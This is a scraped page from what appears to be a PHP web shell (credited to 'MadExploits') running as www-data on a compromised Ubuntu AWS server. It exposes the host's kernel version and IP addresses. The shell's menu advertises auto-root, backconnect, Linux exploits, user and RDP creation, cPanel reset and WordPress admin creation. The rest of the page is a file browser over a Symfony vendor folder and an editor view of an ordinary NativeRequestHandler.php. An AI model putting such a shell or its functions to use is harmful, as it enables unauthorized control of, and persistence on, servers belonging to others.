Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 3.147.75.131
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
boaz /
vendor /
symfony /
form /
[ HOME SHELL ]
Name
Size
Permission
Action
ChoiceList
[ DIR ]
drwxrwxr-x
Command
[ DIR ]
drwxrwxr-x
Console
[ DIR ]
drwxrwxr-x
DependencyInjection
[ DIR ]
drwxrwxr-x
Event
[ DIR ]
drwxrwxr-x
Exception
[ DIR ]
drwxrwxr-x
Extension
[ DIR ]
drwxrwxr-x
Guess
[ DIR ]
drwxrwxr-x
Resources
[ DIR ]
drwxrwxr-x
Test
[ DIR ]
drwxrwxr-x
Util
[ DIR ]
drwxrwxr-x
AbstractExtension.php
4.79
KB
-rw-rw-r--
AbstractRendererEngine.php
6.62
KB
-rw-rw-r--
AbstractType.php
1.29
KB
-rw-rw-r--
AbstractTypeExtension.php
974
B
-rw-rw-r--
Button.php
8.47
KB
-rw-rw-r--
ButtonBuilder.php
15.99
KB
-rw-rw-r--
ButtonTypeInterface.php
462
B
-rw-rw-r--
CHANGELOG.md
27.81
KB
-rw-rw-r--
CallbackTransformer.php
1012
B
-rw-rw-r--
ClearableErrorsInterface.php
612
B
-rw-rw-r--
ClickableInterface.php
555
B
-rw-rw-r--
DataMapperInterface.php
2.34
KB
-rw-rw-r--
DataTransformerInterface.php
3.79
KB
-rw-rw-r--
FileUploadError.php
338
B
-rw-rw-r--
Form.php
36.97
KB
-rw-rw-r--
FormBuilder.php
7.07
KB
-rw-rw-r--
FormBuilderInterface.php
1.84
KB
-rw-rw-r--
FormConfigBuilder.php
18.86
KB
-rw-rw-r--
FormConfigBuilderInterface.php
7.5
KB
-rw-rw-r--
FormConfigInterface.php
6.68
KB
-rw-rw-r--
FormError.php
3.29
KB
-rw-rw-r--
FormErrorIterator.php
7.46
KB
-rw-rw-r--
FormEvent.php
1.12
KB
-rw-rw-r--
FormEvents.php
3.39
KB
-rw-rw-r--
FormExtensionInterface.php
1.65
KB
-rw-rw-r--
FormFactory.php
3.97
KB
-rw-rw-r--
FormFactoryBuilder.php
4.12
KB
-rw-rw-r--
FormFactoryBuilderInterface.ph...
2.31
KB
-rw-rw-r--
FormFactoryInterface.php
3.58
KB
-rw-rw-r--
FormInterface.php
9.85
KB
-rw-rw-r--
FormRegistry.php
4.86
KB
-rw-rw-r--
FormRegistryInterface.php
1.23
KB
-rw-rw-r--
FormRenderer.php
11.83
KB
-rw-rw-r--
FormRendererEngineInterface.ph...
6.15
KB
-rw-rw-r--
FormRendererInterface.php
3.15
KB
-rw-rw-r--
FormTypeExtensionInterface.php
1.45
KB
-rw-rw-r--
FormTypeGuesserChain.php
2.72
KB
-rw-rw-r--
FormTypeGuesserInterface.php
1.65
KB
-rw-rw-r--
FormTypeInterface.php
2.58
KB
-rw-rw-r--
FormView.php
3.51
KB
-rw-rw-r--
Forms.php
2.86
KB
-rw-rw-r--
LICENSE
1.04
KB
-rw-rw-r--
NativeRequestHandler.php
7.48
KB
-rw-rw-r--
PreloadedExtension.php
2.06
KB
-rw-rw-r--
README.md
488
B
-rw-rw-r--
RequestHandlerInterface.php
796
B
-rw-rw-r--
ResolvedFormType.php
6.12
KB
-rw-rw-r--
ResolvedFormTypeFactory.php
658
B
-rw-rw-r--
ResolvedFormTypeFactoryInterfa...
1.17
KB
-rw-rw-r--
ResolvedFormTypeInterface.php
2.41
KB
-rw-rw-r--
ReversedTransformer.php
1.03
KB
-rw-rw-r--
SubmitButton.php
1.17
KB
-rw-rw-r--
SubmitButtonBuilder.php
624
B
-rw-rw-r--
SubmitButtonTypeInterface.php
474
B
-rw-rw-r--
composer.json
2.25
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : NativeRequestHandler.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Form; use Symfony\Component\Form\Exception\UnexpectedTypeException; use Symfony\Component\Form\Util\ServerParams; /** * A request handler using PHP super globals $_GET, $_POST and $_SERVER. * * @author Bernhard Schussek <bschussek@gmail.com> */ class NativeRequestHandler implements RequestHandlerInterface { private $serverParams; /** * The allowed keys of the $_FILES array. */ private const FILE_KEYS = [ 'error', 'name', 'size', 'tmp_name', 'type', ]; public function __construct(ServerParams $params = null) { $this->serverParams = $params ?: new ServerParams(); } /** * {@inheritdoc} * * @throws Exception\UnexpectedTypeException If the $request is not null */ public function handleRequest(FormInterface $form, $request = null) { if (null !== $request) { throw new UnexpectedTypeException($request, 'null'); } $name = $form->getName(); $method = $form->getConfig()->getMethod(); if ($method !== self::getRequestMethod()) { return; } // For request methods that must not have a request body we fetch data // from the query string. Otherwise we look for data in the request body. if ('GET' === $method || 'HEAD' === $method || 'TRACE' === $method) { if ('' === $name) { $data = $_GET; } else { // Don't submit GET requests if the form's name does not exist // in the request if (!isset($_GET[$name])) { return; } $data = $_GET[$name]; } } else { // Mark the form with an error if the uploaded size was too large // This is done here and not in FormValidator because $_POST is // empty when that error occurs. Hence the form is never submitted. if ($this->serverParams->hasPostMaxSizeBeenExceeded()) { // Submit the form, but don't clear the default values $form->submit(null, false); $form->addError(new FormError( $form->getConfig()->getOption('upload_max_size_message')(), null, ['{{ max }}' => $this->serverParams->getNormalizedIniPostMaxSize()] )); return; } $fixedFiles = []; foreach ($_FILES as $fileKey => $file) { $fixedFiles[$fileKey] = self::stripEmptyFiles(self::fixPhpFilesArray($file)); } if ('' === $name) { $params = $_POST; $files = $fixedFiles; } elseif (\array_key_exists($name, $_POST) || \array_key_exists($name, $fixedFiles)) { $default = $form->getConfig()->getCompound() ? [] : null; $params = \array_key_exists($name, $_POST) ? $_POST[$name] : $default; $files = \array_key_exists($name, $fixedFiles) ? $fixedFiles[$name] : $default; } else { // Don't submit the form if it is not present in the request return; } if (\is_array($params) && \is_array($files)) { $data = array_replace_recursive($params, $files); } else { $data = $params ?: $files; } } // Don't auto-submit the form unless at least one field is present. if ('' === $name && \count(array_intersect_key($data, $form->all())) <= 0) { return; } if (\is_array($data) && \array_key_exists('_method', $data) && $method === $data['_method'] && !$form->has('_method')) { unset($data['_method']); } $form->submit($data, 'PATCH' !== $method); } /** * {@inheritdoc} */ public function isFileUpload($data) { // POST data will always be strings or arrays of strings. Thus, we can be sure // that the submitted data is a file upload if the "error" value is an integer // (this value must have been injected by PHP itself). return \is_array($data) && isset($data['error']) && \is_int($data['error']); } /** * @return int|null */ public function getUploadFileError($data) { if (!\is_array($data)) { return null; } if (!isset($data['error'])) { return null; } if (!\is_int($data['error'])) { return null; } if (\UPLOAD_ERR_OK === $data['error']) { return null; } return $data['error']; } /** * Returns the method used to submit the request to the server. */ private static function getRequestMethod(): string { $method = isset($_SERVER['REQUEST_METHOD']) ? strtoupper($_SERVER['REQUEST_METHOD']) : 'GET'; if ('POST' === $method && isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) { $method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']); } return $method; } /** * Fixes a malformed PHP $_FILES array. * * PHP has a bug that the format of the $_FILES array differs, depending on * whether the uploaded file fields had normal field names or array-like * field names ("normal" vs. "parent[child]"). * * This method fixes the array to look like the "normal" $_FILES array. * * It's safe to pass an already converted array, in which case this method * just returns the original array unmodified. * * This method is identical to {@link \Symfony\Component\HttpFoundation\FileBag::fixPhpFilesArray} * and should be kept as such in order to port fixes quickly and easily. * * @return mixed */ private static function fixPhpFilesArray($data) { if (!\is_array($data)) { return $data; } $keys = array_keys($data); sort($keys); if (self::FILE_KEYS !== $keys || !isset($data['name']) || !\is_array($data['name'])) { return $data; } $files = $data; foreach (self::FILE_KEYS as $k) { unset($files[$k]); } foreach ($data['name'] as $key => $name) { $files[$key] = self::fixPhpFilesArray([ 'error' => $data['error'][$key], 'name' => $name, 'type' => $data['type'][$key], 'tmp_name' => $data['tmp_name'][$key], 'size' => $data['size'][$key], ]); } return $files; } /** * Sets empty uploaded files to NULL in the given uploaded files array. * * @return mixed Returns the stripped upload data */ private static function stripEmptyFiles($data) { if (!\is_array($data)) { return $data; } $keys = array_keys($data); sort($keys); if (self::FILE_KEYS === $keys) { if (\UPLOAD_ERR_NO_FILE === $data['error']) { return null; } return $data; } foreach ($data as $key => $value) { $data[$key] = self::stripEmptyFiles($value); } return $data; } }
Close